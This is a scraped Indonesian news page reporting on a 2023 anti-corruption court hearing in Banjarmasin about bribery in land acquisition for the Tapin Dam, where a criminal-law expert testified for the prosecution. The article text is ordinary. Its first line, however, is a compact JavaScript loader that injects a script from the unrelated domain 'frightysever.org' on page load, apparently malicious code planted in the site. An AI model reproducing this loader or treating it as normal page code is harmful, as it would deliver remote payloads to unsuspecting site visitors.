(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Sidang Korupsi Bendungan Tapin Hadirkan Saksi Ahli


KANALKALIMANTAN.COM, BANJARMASIN – Sidang kasus korupsi pembebasan lahan proyek Bendungan Tapin dengan tiga terdakwa kembali digelar Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin, Senin (7/8/2023) pagi.

Tiga terdakwa yang ditahan di Lapas Banjarmasin terlihat hadir langsung di persidangan dan dilakukan pengawalan oleh pihak kepolisian.

Terdakwa Sugianor mengenakan pakaian berwarna putih, Herman memakai baju warna oranye, dan Achmad Rizaldy memakai baju berwarna biru.

Ketiganya juga terlihat kompak mengenakan peci warna putih mengenakan masker.

Baca juga: Karateka Balangan Borong Medali Turnamen ASKI Cup III 2023 di Martapura

Pada sidang yang dimulai sekitar pukul 09.30 Wita, Jaksa Penuntut Umum (JPU) dari Kejari Tapin menghadirkan seorang ahli hukum pidana Anang Sophan Tornado SH MH Mkn. Saksi ahli yang dihadirkan merupakan pengajar ilmu hukum dan mejabat sebagai Wakil Dekan bidang Kemahasiswaan dan alumni di Fakultas Hukum Universitas Lambung Mangkurat (ULM) Banjarmasin.

Dosen yang telah mengajar selama 17 tahun di Fakultas Hukum ULM Banjarmasin ini menerangkan terkait penerapan pasal 12 dan pasal 11 Undang-Undang Pemberantasan Tindak Pidana Korupsi.

“Ahli juga menerangkan Pasal 55 Ayat 1 KUHP yang juga diterapkan dalam dakwaan,” kata JPU dari Kejari Tapin yang hadir di persidangan.

Baca juga: FSGI Akui Perundungan di Pendidikan Masih Marak

Sebab tiga terdakwa didakwa dengan pasal yang sama yaitu pasal 12 dan pasal 11 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi Jo pasal 55 Ayat (1) KUHPidana.

Sugianor (Kades Pipitak Jaya) didakwa menerima suap sebesar Rp800 juta, Achmad Rizaldy (ASN Guru SD) menerima Rp600 juta, dan Herman swasta menerima Rp945 juta.

Ketiganya didakwa dengan Undang-Undang Nomor 8 tahun 2010 tentang Pemberantasan Tindak Pidana Pencucian Uang (TPPU).

Hingga berita ini ditulis, persidangan dengan agenda keterangan ahli hukum pidana yang dihadirkan JPU masih berlangsung di ruang sidang Pengadilan Tipikor Banjarmasin. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

5 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

5 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

5 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

6 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

6 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

6 jam ago

This website uses cookies.